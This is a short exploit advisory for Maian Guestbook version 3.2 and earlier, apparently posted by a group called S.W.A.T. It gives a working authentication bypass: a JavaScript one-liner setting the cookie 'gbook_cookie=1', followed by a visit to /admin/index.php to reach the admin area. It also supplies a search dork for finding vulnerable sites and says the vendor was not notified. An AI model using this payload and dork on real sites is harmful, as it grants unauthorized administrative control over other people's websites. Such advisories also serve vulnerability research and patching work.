-[*] ================================================================================ [*]-

-[*] Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability [*]-

-[*] ================================================================================ [*]-

[*] Discovered By: S.W.A.T.

[*] E-Mail: svvateam[at]yahoo[dot]com

[*] Script Download: http://www.maianscriptworld.co.uk

[*] DORK: Powered by Maian Guestbook v3.2

[*] Vendor Has Not Been Notified!

[*] DESCRIPTION:

Maian Guestbook suffers from a insecure cookie, the admin panel only checks if the

cookie exists.

and not the content. so we can easyily craft a cookie and look like a admin.

[*] Vulnerability:

javascript:document.cookie = "gbook_cookie=1; path=/";

[*] NOTE/TIP:

after running the javascript, visit "/admin/index.php" to view admin area.

-[*] ================================================================================ [*]-

-[*] Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability [*]-

-[*] ================================================================================ [*]-